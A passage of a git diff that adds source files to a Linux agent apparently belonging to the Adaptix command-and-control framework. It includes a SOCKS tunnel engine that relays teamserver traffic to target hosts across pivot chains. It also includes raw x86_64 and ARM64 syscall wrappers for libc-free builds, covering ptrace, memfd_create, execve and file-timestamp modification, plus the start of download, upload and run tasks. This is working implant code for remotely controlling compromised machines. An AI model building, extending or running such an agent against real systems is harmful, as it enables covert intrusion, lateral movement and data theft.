pack_tunnel_cmd(obj_collector, COMMAND_TUNNEL_PAUSE, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); + appended++; + } + + // Hard cap: kill the channel + if (tun->write_len > TUNNEL_HARD_CAP) { + tun->state = TUNNEL_STATE_CLOSED; + } + } + + // ──────────────────────────────────────── + // Stage 3: RecvProxy -- read from target sockets, pack TUNNEL_DATA + // ──────────────────────────────────────── + uint8_t recv_buf[RECV_CHUNK_SIZE]; + + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_READY) continue; + if (ctx->tunnels[i].paused) continue; + + // Stop if collector is already large (packer size limit) + if (obj_collector->buf.len > (int)MAX_OBJ_SIZE) break; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Non-blocking read check + pf_fd_set rfds; + pf_fd_zero(&rfds); + pf_fd_set_bit(tun->client_fd, &rfds); + + int sr = pf_select_zero(tun->client_fd + 1, &rfds, (pf_fd_set *)0); + if (sr <= 0) continue; + + if (pf_fd_is_set(tun->client_fd, &rfds)) { + long n = PF_read(tun->client_fd, recv_buf, RECV_CHUNK_SIZE); + if (n > 0) { + pack_tunnel_data(obj_collector, tun->channel_id, + recv_buf, (uint32_t)n); + appended++; + } else if (n == 0) { + // EOF — target closed the connection + tun->state = TUNNEL_STATE_CLOSED; + } else if (n != -11 /*EAGAIN*/) { + // Read error + tun->state = TUNNEL_STATE_CLOSED; + } + } + } + + // ──────────────────────────────────────── + // Stage 4: CloseProxy -- cleanup closed tunnels + // ──────────────────────────────────────── + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_CLOSED) continue; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Close socket if still open + if (tun->client_fd >= 0) { + PF_close(tun->client_fd); + tun->client_fd = -1; + } + + // Free write buffer + if (tun->write_buf) { + ax_free(tun->write_buf); + tun->write_buf = (uint8_t *)0; + } + tun->write_len = 0; + tun->write_cap = 0; + + // Pack close notification + pack_tunnel_close(obj_collector, tun->channel_id, 0); + appended++; + + // Mark slot as free + tun->active = 0; + tun->channel_id = 0; + } + + return appended; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h new file mode 100644 index 000000000..909f6e394 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h @@ -0,0 +1,50 @@ +#ifndef PROXYFIRE_H +#define PROXYFIRE_H + +#include "types.h" +#include "jobs.h" +#include "msgpack.h" +#include + +/// Proxyfire -- MUX tunnel engine for SOCKS proxy +/// +/// Pattern: beacon's Proxyfire.cpp, adapted for Linux (syscalls/libc). +/// All tunnel I/O is muxed into the main communication channel so it +/// traverses any pivot chain (2, 3, 4+ hops). +/// +/// Flow: +/// teamserver → COMMAND_TUNNEL_START → proxy_connect_tcp() +/// teamserver → COMMAND_TUNNEL_WRITE → proxy_write_tcp() +/// teamserver → COMMAND_TUNNEL_PAUSE → proxy_pause() +/// teamserver → COMMAND_TUNNEL_RESUME → proxy_resume() +/// teamserver → COMMAND_TUNNEL_STOP → proxy_close() +/// main loop → process_tunnels() → packs TUNNEL_STATUS/DATA/CLOSE into obj_collector + +/// Start an async TCP connection to address (host:port). +/// The tunnel entry is allocated in g_job_ctx by the caller (task_tunnel_start). +/// Returns 0 on success (connection in progress), -1 on immediate error. +int proxy_connect_tcp(int tunnel_idx, const char *address); + +/// Queue data from teamserver to be written to the target socket. +/// Data is buffered in tunnel_entry_t.write_buf and flushed by process_tunnels(). +void proxy_write_tcp(int channel_id, const uint8_t *data, uint32_t len); + +/// Pause reading from the target socket (teamserver backpressure). +void proxy_pause(int channel_id); + +/// Resume reading from the target socket. +void proxy_resume(int channel_id); + +/// Close a tunnel by channel_id. +void proxy_close(int channel_id); + +/// Main loop polling function -- called every tick alongside process_pivots(). +/// Performs 4 stages (beacon pattern): +/// 1. CheckProxy -- poll connecting sockets, pack TUNNEL_STATUS +/// 2. FlushProxy -- write buffered data to target sockets +/// 3. RecvProxy -- read from target sockets, pack TUNNEL_DATA +/// 4. CloseProxy -- cleanup closed tunnels, pack TUNNEL_CLOSE +/// Returns number of objects appended to obj_collector. +int process_tunnels(mp_writer_t *obj_collector); + +#endif /* PROXYFIRE_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h new file mode 100644 index 000000000..0b4af9985 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h @@ -0,0 +1,438 @@ +#ifndef SYSCALLS_AARCH64_H +#define SYSCALLS_AARCH64_H + +#ifdef ARCH_AARCH64 + +#include +#include + +/// Linux ARM64 syscall numbers (different from macOS ARM64!) +/// macOS uses x16 + svc #0x80 — Linux uses x8 + svc #0 +#define __NR_ioctl 29 +#define __NR_fcntl 25 +#define __NR_openat 56 +#define __NR_close 57 +#define __NR_read 63 +#define __NR_write 64 +#define __NR_fstatat 79 +#define __NR_fstat 80 +#define __NR_exit 93 +#define __NR_exit_group 94 +#define __NR_kill 129 +#define __NR_getpid 172 +#define __NR_getuid 174 +#define __NR_geteuid 175 +#define __NR_ptrace 117 +#define __NR_clone 220 +#define __NR_execve 221 +#define __NR_mmap 222 +#define __NR_mprotect 226 +#define __NR_munmap 215 +#define __NR_socket 198 +#define __NR_connect 203 +#define __NR_accept 202 +#define __NR_bind 200 +#define __NR_listen 201 +#define __NR_setsockopt 208 +#define __NR_getsockopt 209 +#define __NR_getcwd 17 +#define __NR_chdir 49 +#define __NR_mkdirat 34 +#define __NR_unlinkat 35 +#define __NR_renameat 38 +#define __NR_getdents64 61 +#define __NR_dup3 24 +#define __NR_pipe2 59 +#define __NR_prctl 167 +#define __NR_utimensat 88 +#define __NR_bpf 280 +#define __NR_getrandom 278 +#define __NR_memfd_create 279 +#define __NR_waitid 95 +#define __NR_wait4 260 +#define __NR_nanosleep 101 +#define __NR_setsid 157 +#define __NR_setpgid 154 +#define __NR_pselect6 72 + +/// Raw syscall wrappers — inline assembly +/// Convention: x8=nr, x0-x5=args, svc #0 + +static inline long raw_syscall0(long number) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0"); + __asm__ volatile( + "svc #0" + : "=r"(x0) + : "r"(x8) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall1(long number, long a0) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall2(long number, long a0, long a1) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2), "r"(x3) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall5(long number, long a0, long a1, long a2, long a3, long a4) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + register long x5 __asm__("x5") = a5; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5) + : "memory", "cc" + ); + return x0; +} + +/// Convenience wrappers + +// Note: ARM64 Linux has no open() — use openat(AT_FDCWD, ...) +#define AT_FDCWD -100 + +static inline int sys_openat(int dirfd, const char *path, int flags, int mode) { + return (int)raw_syscall4(__NR_openat, dirfd, (long)path, flags, mode); +} + +static inline int sys_open(const char *path, int flags, int mode) { + return sys_openat(AT_FDCWD, path, flags, mode); +} + +static inline int sys_close(int fd) { + return (int)raw_syscall1(__NR_close, fd); +} + +static inline long sys_read(int fd, void *buf, size_t count) { + return raw_syscall3(__NR_read, fd, (long)buf, count); +} + +static inline long sys_write(int fd, const void *buf, size_t count) { + return raw_syscall3(__NR_write, fd, (long)buf, count); +} + +static inline int sys_getpid(void) { + return (int)raw_syscall0(__NR_getpid); +} + +static inline int sys_getuid(void) { + return (int)raw_syscall0(__NR_getuid); +} + +static inline int sys_geteuid(void) { + return (int)raw_syscall0(__NR_geteuid); +} + +static inline int sys_kill(int pid, int sig) { + return (int)raw_syscall2(__NR_kill, pid, sig); +} + +static inline long sys_ptrace(long request, long pid, void *addr, void *data) { + return raw_syscall4(__NR_ptrace, request, pid, (long)addr, (long)data); +} + +static inline void *sys_mmap(void *addr, size_t length, int prot, int flags, int fd, long offset) { + return (void*)raw_syscall6(__NR_mmap, (long)addr, length, prot, flags, fd, offset); +} + +static inline int sys_munmap(void *addr, size_t length) { + return (int)raw_syscall2(__NR_munmap, (long)addr, length); +} + +static inline int sys_mprotect(void *addr, size_t length, int prot) { + return (int)raw_syscall3(__NR_mprotect, (long)addr, length, prot); +} + +static inline int sys_execve(const char *pathname, char *const argv[], char *const envp[]) { + return (int)raw_syscall3(__NR_execve, (long)pathname, (long)argv, (long)envp); +} + +static inline int sys_getcwd(char *buf, size_t size) { + return (int)raw_syscall2(__NR_getcwd, (long)buf, size); +} + +static inline int sys_chdir(const char *path) { + return (int)raw_syscall1(__NR_chdir, (long)path); +} + +static inline int sys_getdents64(int fd, void *dirp, unsigned int count) { + return (int)raw_syscall3(__NR_getdents64, fd, (long)dirp, count); +} + +static inline int sys_dup3(int oldfd, int newfd, int flags) { + return (int)raw_syscall3(__NR_dup3, oldfd, newfd, flags); +} + +// dup2 emulated via dup3(oldfd, newfd, 0) +static inline int sys_dup2(int oldfd, int newfd) { + return sys_dup3(oldfd, newfd, 0); +} + +static inline int sys_pipe2(int pipefd[2], int flags) { + return (int)raw_syscall2(__NR_pipe2, (long)pipefd, flags); +} + +static inline int sys_ioctl(int fd, unsigned long request, unsigned long arg) { + return (int)raw_syscall3(__NR_ioctl, fd, request, arg); +} + +static inline int sys_fcntl(int fd, int cmd, long arg) { + return (int)raw_syscall3(__NR_fcntl, fd, cmd, arg); +} + +static inline long sys_getrandom(void *buf, size_t buflen, unsigned int flags) { + return raw_syscall3(__NR_getrandom, (long)buf, buflen, flags); +} + +static inline int sys_memfd_create(const char *name, unsigned int flags) { + return (int)raw_syscall2(__NR_memfd_create, (long)name, flags); +} + +static inline int sys_prctl(int option, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5) { + return (int)raw_syscall5(__NR_prctl, option, a2, a3, a4, a5); +} + +static inline long sys_bpf(int cmd, void *attr, unsigned int size) { + return raw_syscall3(__NR_bpf, cmd, (long)attr, size); +} + +static inline void sys_exit_group(int status) { + raw_syscall1(__NR_exit_group, status); +} + +// ── Stat (via fstatat since ARM64 has no stat syscall) ── + +struct linux_stat { + unsigned long st_dev; + unsigned long st_ino; + unsigned int st_mode; + unsigned int st_nlink; + unsigned int st_uid; + unsigned int st_gid; + unsigned long st_rdev; + unsigned long __pad1; + long st_size; + int st_blksize; + int __pad2; + long st_blocks; + unsigned long st_atime_sec; + unsigned long st_atime_nsec; + unsigned long st_mtime_sec; + unsigned long st_mtime_nsec; + unsigned long st_ctime_sec; + unsigned long st_ctime_nsec; + unsigned int __unused4; + unsigned int __unused5; +}; + +static inline int sys_fstatat(int dirfd, const char *path, struct linux_stat *buf, int flags) { + return (int)raw_syscall4(__NR_fstatat, dirfd, (long)path, (long)buf, flags); +} + +static inline int sys_stat(const char *path, struct linux_stat *buf) { + return sys_fstatat(AT_FDCWD, path, buf, 0); +} + +static inline int sys_fstat(int fd, struct linux_stat *buf) { + return (int)raw_syscall2(__NR_fstat, fd, (long)buf); +} + +// ── Filesystem (via *at syscalls since ARM64 has no legacy versions) ── + +static inline int sys_mkdir(const char *path, int mode) { + return (int)raw_syscall3(__NR_mkdirat, AT_FDCWD, (long)path, mode); +} + +static inline int sys_unlink(const char *path) { + return (int)raw_syscall3(__NR_unlinkat, AT_FDCWD, (long)path, 0); +} + +#define AT_REMOVEDIR 0x200 + +static inline int sys_rmdir(const char *path) { + return (int)raw_syscall3(__NR_unlinkat, AT_FDCWD, (long)path, AT_REMOVEDIR); +} + +static inline int sys_rename(const char *oldpath, const char *newpath) { + return (int)raw_syscall4(__NR_renameat, AT_FDCWD, (long)oldpath, AT_FDCWD, (long)newpath); +} + +// ── Fork (via clone on ARM64) ── + +#define SIGCHLD 17 + +static inline int sys_fork(void) { + return (int)raw_syscall5(__NR_clone, SIGCHLD, 0, 0, 0, 0); +} + +// ── Network syscalls ── + +static inline int sys_socket(int domain, int type, int protocol) { + return (int)raw_syscall3(__NR_socket, domain, type, protocol); +} + +static inline int sys_connect(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_connect, fd, (long)addr, addrlen); +} + +static inline int sys_bind(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_bind, fd, (long)addr, addrlen); +} + +static inline int sys_listen(int fd, int backlog) { + return (int)raw_syscall2(__NR_listen, fd, backlog); +} + +static inline int sys_accept(int fd, void *addr, unsigned int *addrlen) { + return (int)raw_syscall3(__NR_accept, fd, (long)addr, (long)addrlen); +} + +static inline int sys_setsockopt(int fd, int level, int optname, const void *optval, unsigned int optlen) { + return (int)raw_syscall5(__NR_setsockopt, fd, level, optname, (long)optval, optlen); +} + +static inline int sys_getsockopt(int fd, int level, int optname, void *optval, unsigned int *optlen) { + return (int)raw_syscall5(__NR_getsockopt, fd, level, optname, (long)optval, (long)optlen); +} + +// ── Process wait ── + +static inline int sys_wait4(int pid, int *wstatus, int options, void *rusage) { + return (int)raw_syscall4(__NR_wait4, pid, (long)wstatus, options, (long)rusage); +} + +// ── Sleep (nanosleep) ── + +struct linux_timespec { + long tv_sec; + long tv_nsec; +}; + +static inline int sys_nanosleep(const struct linux_timespec *req, struct linux_timespec *rem) { + return (int)raw_syscall2(__NR_nanosleep, (long)req, (long)rem); +} + +static inline void sys_sleep(unsigned int seconds) { + struct linux_timespec ts = { .tv_sec = seconds, .tv_nsec = 0 }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +static inline void sys_usleep(unsigned int usec) { + struct linux_timespec ts = { .tv_sec = usec / 1000000, .tv_nsec = (usec % 1000000) * 1000L }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +// ── Timestamp modification ── + +static inline int sys_utimensat(int dirfd, const char *path, const struct linux_timespec times[2], int flags) { + return (int)raw_syscall4(__NR_utimensat, dirfd, (long)path, (long)times, flags); +} + +// ── Process session/group ── + +static inline int sys_setsid(void) { + return (int)raw_syscall0(__NR_setsid); +} + +static inline int sys_setpgid(int pid, int pgid) { + return (int)raw_syscall2(__NR_setpgid, pid, pgid); +} + +// ── Select (pselect6) ── + +static inline int sys_pselect6(int nfds, void *readfds, void *writefds, + void *exceptfds, const struct linux_timespec *timeout, + const void *sigmask) { + return (int)raw_syscall6(__NR_pselect6, nfds, (long)readfds, (long)writefds, + (long)exceptfds, (long)timeout, (long)sigmask); +} + +// ── Threading via clone() ── + +#define CLONE_VM 0x00000100 +#define CLONE_FS 0x00000200 +#define CLONE_FILES 0x00000400 +#define CLONE_SIGHAND 0x00000800 +#define CLONE_THREAD 0x00010000 +#define CLONE_SYSVSEM 0x00040000 +#define CLONE_SETTLS 0x00080000 +#define CLONE_PARENT_SETTID 0x00100000 +#define CLONE_CHILD_CLEARTID 0x00200000 + +#define THREAD_CLONE_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | \ + CLONE_THREAD | CLONE_SYSVSEM | CLONE_SETTLS | \ + CLONE_PARENT_SETTID | CLONE_CHILD_CLEARTID) + +#endif // ARCH_AARCH64 +#endif // SYSCALLS_AARCH64_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h new file mode 100644 index 000000000..921bc0e53 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h @@ -0,0 +1,407 @@ +#ifndef SYSCALLS_X64_H +#define SYSCALLS_X64_H + +#ifdef ARCH_X86_64 + +#include +#include + +/// Linux x86_64 syscall numbers +#define __NR_read 0 +#define __NR_write 1 +#define __NR_open 2 +#define __NR_close 3 +#define __NR_stat 4 +#define __NR_fstat 5 +#define __NR_mmap 9 +#define __NR_mprotect 10 +#define __NR_munmap 11 +#define __NR_ioctl 16 +#define __NR_pipe 22 +#define __NR_dup2 33 +#define __NR_socket 41 +#define __NR_connect 42 +#define __NR_accept 43 +#define __NR_bind 49 +#define __NR_listen 50 +#define __NR_setsockopt 54 +#define __NR_getsockopt 55 +#define __NR_clone 56 +#define __NR_fork 57 +#define __NR_execve 59 +#define __NR_exit 60 +#define __NR_kill 62 +#define __NR_fcntl 72 +#define __NR_getcwd 79 +#define __NR_chdir 80 +#define __NR_rename 82 +#define __NR_mkdir 83 +#define __NR_rmdir 84 +#define __NR_unlink 87 +#define __NR_getuid 102 +#define __NR_ptrace 101 +#define __NR_geteuid 107 +#define __NR_getpid 39 +#define __NR_getdents64 217 +#define __NR_exit_group 231 +#define __NR_waitid 247 +#define __NR_openat 257 +#define __NR_pipe2 293 +#define __NR_nanosleep 35 +#define __NR_wait4 61 +#define __NR_select 23 +#define __NR_setsid 112 +#define __NR_setpgid 109 +#define __NR_pselect6 270 +#define __NR_prctl 157 +#define __NR_utimensat 280 +#define __NR_bpf 321 +#define __NR_getrandom 318 +#define __NR_memfd_create 319 + +/// Raw syscall wrappers — inline assembly +/// Convention: rax=nr, rdi=a0, rsi=a1, rdx=a2, r10=a3, r8=a4, r9=a5 +/// Clobbered: rcx, r11 + +static inline long raw_syscall0(long number) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall1(long number, long a0) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall2(long number, long a0, long a1) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + long ret; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) { + long ret; + register long r10 __asm__("r10") = a3; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall5(long number, long a0, long a1, long a2, long a3, long a4) { + long ret; + register long r10 __asm__("r10") = a3; + register long r8 __asm__("r8") = a4; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10), "r"(r8) + : "rcx", "r11", "memory" + ); + return ret; +} + +static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) { + long ret; + register long r10 __asm__("r10") = a3; + register long r8 __asm__("r8") = a4; + register long r9 __asm__("r9") = a5; + __asm__ volatile( + "syscall" + : "=a"(ret) + : "a"(number), "D"(a0), "S"(a1), "d"(a2), "r"(r10), "r"(r8), "r"(r9) + : "rcx", "r11", "memory" + ); + return ret; +} + +/// Convenience wrappers + +static inline int sys_open(const char *path, int flags, int mode) { + return (int)raw_syscall3(__NR_open, (long)path, flags, mode); +} + +static inline int sys_openat(int dirfd, const char *path, int flags, int mode) { + return (int)raw_syscall4(__NR_openat, dirfd, (long)path, flags, mode); +} + +static inline int sys_close(int fd) { + return (int)raw_syscall1(__NR_close, fd); +} + +static inline long sys_read(int fd, void *buf, size_t count) { + return raw_syscall3(__NR_read, fd, (long)buf, count); +} + +static inline long sys_write(int fd, const void *buf, size_t count) { + return raw_syscall3(__NR_write, fd, (long)buf, count); +} + +static inline int sys_getpid(void) { + return (int)raw_syscall0(__NR_getpid); +} + +static inline int sys_getuid(void) { + return (int)raw_syscall0(__NR_getuid); +} + +static inline int sys_geteuid(void) { + return (int)raw_syscall0(__NR_geteuid); +} + +static inline int sys_kill(int pid, int sig) { + return (int)raw_syscall2(__NR_kill, pid, sig); +} + +static inline long sys_ptrace(long request, long pid, void *addr, void *data) { + return raw_syscall4(__NR_ptrace, request, pid, (long)addr, (long)data); +} + +static inline void *sys_mmap(void *addr, size_t length, int prot, int flags, int fd, long offset) { + return (void*)raw_syscall6(__NR_mmap, (long)addr, length, prot, flags, fd, offset); +} + +static inline int sys_munmap(void *addr, size_t length) { + return (int)raw_syscall2(__NR_munmap, (long)addr, length); +} + +static inline int sys_mprotect(void *addr, size_t length, int prot) { + return (int)raw_syscall3(__NR_mprotect, (long)addr, length, prot); +} + +static inline int sys_fork(void) { + return (int)raw_syscall0(__NR_fork); +} + +static inline int sys_execve(const char *pathname, char *const argv[], char *const envp[]) { + return (int)raw_syscall3(__NR_execve, (long)pathname, (long)argv, (long)envp); +} + +static inline int sys_getcwd(char *buf, size_t size) { + return (int)raw_syscall2(__NR_getcwd, (long)buf, size); +} + +static inline int sys_chdir(const char *path) { + return (int)raw_syscall1(__NR_chdir, (long)path); +} + +static inline int sys_mkdir(const char *path, int mode) { + return (int)raw_syscall2(__NR_mkdir, (long)path, mode); +} + +static inline int sys_unlink(const char *path) { + return (int)raw_syscall1(__NR_unlink, (long)path); +} + +static inline int sys_rename(const char *oldpath, const char *newpath) { + return (int)raw_syscall2(__NR_rename, (long)oldpath, (long)newpath); +} + +static inline int sys_rmdir(const char *path) { + return (int)raw_syscall1(__NR_rmdir, (long)path); +} + +static inline int sys_getdents64(int fd, void *dirp, unsigned int count) { + return (int)raw_syscall3(__NR_getdents64, fd, (long)dirp, count); +} + +static inline int sys_dup2(int oldfd, int newfd) { + return (int)raw_syscall2(__NR_dup2, oldfd, newfd); +} + +static inline int sys_pipe2(int pipefd[2], int flags) { + return (int)raw_syscall2(__NR_pipe2, (long)pipefd, flags); +} + +static inline int sys_ioctl(int fd, unsigned long request, unsigned long arg) { + return (int)raw_syscall3(__NR_ioctl, fd, request, arg); +} + +static inline int sys_fcntl(int fd, int cmd, long arg) { + return (int)raw_syscall3(__NR_fcntl, fd, cmd, arg); +} + +static inline long sys_getrandom(void *buf, size_t buflen, unsigned int flags) { + return raw_syscall3(__NR_getrandom, (long)buf, buflen, flags); +} + +static inline int sys_memfd_create(const char *name, unsigned int flags) { + return (int)raw_syscall2(__NR_memfd_create, (long)name, flags); +} + +static inline int sys_prctl(int option, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5) { + return (int)raw_syscall5(__NR_prctl, option, a2, a3, a4, a5); +} + +static inline long sys_bpf(int cmd, void *attr, unsigned int size) { + return raw_syscall3(__NR_bpf, cmd, (long)attr, size); +} + +static inline void sys_exit_group(int status) { + raw_syscall1(__NR_exit_group, status); +} + +// ── Stat ── + +struct linux_stat { + unsigned long st_dev; + unsigned long st_ino; + unsigned long st_nlink; + unsigned int st_mode; + unsigned int st_uid; + unsigned int st_gid; + unsigned int __pad0; + unsigned long st_rdev; + long st_size; + long st_blksize; + long st_blocks; + unsigned long st_atime_sec; + unsigned long st_atime_nsec; + unsigned long st_mtime_sec; + unsigned long st_mtime_nsec; + unsigned long st_ctime_sec; + unsigned long st_ctime_nsec; + long __unused[3]; +}; + +static inline int sys_stat(const char *path, struct linux_stat *buf) { + return (int)raw_syscall2(__NR_stat, (long)path, (long)buf); +} + +static inline int sys_fstat(int fd, struct linux_stat *buf) { + return (int)raw_syscall2(__NR_fstat, fd, (long)buf); +} + +// ── Network syscalls ── + +static inline int sys_socket(int domain, int type, int protocol) { + return (int)raw_syscall3(__NR_socket, domain, type, protocol); +} + +static inline int sys_connect(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_connect, fd, (long)addr, addrlen); +} + +static inline int sys_bind(int fd, const void *addr, unsigned int addrlen) { + return (int)raw_syscall3(__NR_bind, fd, (long)addr, addrlen); +} + +static inline int sys_listen(int fd, int backlog) { + return (int)raw_syscall2(__NR_listen, fd, backlog); +} + +static inline int sys_accept(int fd, void *addr, unsigned int *addrlen) { + return (int)raw_syscall3(__NR_accept, fd, (long)addr, (long)addrlen); +} + +static inline int sys_setsockopt(int fd, int level, int optname, const void *optval, unsigned int optlen) { + return (int)raw_syscall5(__NR_setsockopt, fd, level, optname, (long)optval, optlen); +} + +static inline int sys_getsockopt(int fd, int level, int optname, void *optval, unsigned int *optlen) { + return (int)raw_syscall5(__NR_getsockopt, fd, level, optname, (long)optval, (long)optlen); +} + +// ── Process wait ── + +static inline int sys_wait4(int pid, int *wstatus, int options, void *rusage) { + return (int)raw_syscall4(__NR_wait4, pid, (long)wstatus, options, (long)rusage); +} + +// ── Sleep (nanosleep) ── + +struct linux_timespec { + long tv_sec; + long tv_nsec; +}; + +static inline int sys_nanosleep(const struct linux_timespec *req, struct linux_timespec *rem) { + return (int)raw_syscall2(__NR_nanosleep, (long)req, (long)rem); +} + +static inline void sys_sleep(unsigned int seconds) { + struct linux_timespec ts = { .tv_sec = seconds, .tv_nsec = 0 }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +static inline void sys_usleep(unsigned int usec) { + struct linux_timespec ts = { .tv_sec = usec / 1000000, .tv_nsec = (usec % 1000000) * 1000L }; + sys_nanosleep(&ts, (struct linux_timespec*)0); +} + +// ── Timestamp modification ── + +static inline int sys_utimensat(int dirfd, const char *path, const struct linux_timespec times[2], int flags) { + return (int)raw_syscall4(__NR_utimensat, dirfd, (long)path, (long)times, flags); +} + +// ── Process session/group ── + +static inline int sys_setsid(void) { + return (int)raw_syscall0(__NR_setsid); +} + +static inline int sys_setpgid(int pid, int pgid) { + return (int)raw_syscall2(__NR_setpgid, pid, pgid); +} + +// ── Select (pselect6) ── + +static inline int sys_pselect6(int nfds, void *readfds, void *writefds, + void *exceptfds, const struct linux_timespec *timeout, + const void *sigmask) { + return (int)raw_syscall6(__NR_pselect6, nfds, (long)readfds, (long)writefds, + (long)exceptfds, (long)timeout, (long)sigmask); +} + +// ── Threading via clone() ── +// Minimal pthread replacement for -nostdlib static builds +// Stack: mmap(STACK_SIZE), child runs fn(arg) + +#define CLONE_VM 0x00000100 +#define CLONE_FS 0x00000200 +#define CLONE_FILES 0x00000400 +#define CLONE_SIGHAND 0x00000800 +#define CLONE_THREAD 0x00010000 +#define CLONE_SYSVSEM 0x00040000 +#define CLONE_SETTLS 0x00080000 +#define CLONE_PARENT_SETTID 0x00100000 +#define CLONE_CHILD_CLEARTID 0x00200000 + +#define THREAD_CLONE_FLAGS (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | \ + CLONE_THREAD | CLONE_SYSVSEM | CLONE_SETTLS | \ + CLONE_PARENT_SETTID | CLONE_CHILD_CLEARTID) + +#endif // ARCH_X86_64 +#endif // SYSCALLS_X64_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c new file mode 100644 index 000000000..4dfacfa0f --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c @@ -0,0 +1,772 @@ +/// tasks_async.c -- Async commands for Linux agent (download/upload/run/job_list/job_kill) +/// Phase 3b: full implementation copied from macOS agent, adapted for Linux direct syscalls + +#include "tasks_async.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// File open/close/read/write/stat abstraction +#ifdef BUILD_SO + +#define F_open(p,f,m) R_open(p,f,m) +#define F_close(fd) R_close(fd) +#define F_read(fd,b,n) R_read(fd,b,n) +#define F_write(fd,b,n) R_write(fd,b,n) +#define F_fork() R_fork() +#define F_setpgid(p,g) R_setpgid(p,g) +#define F_execve(p,a,e) R_execve(p,a,e) +#define F_dup2(o,n) 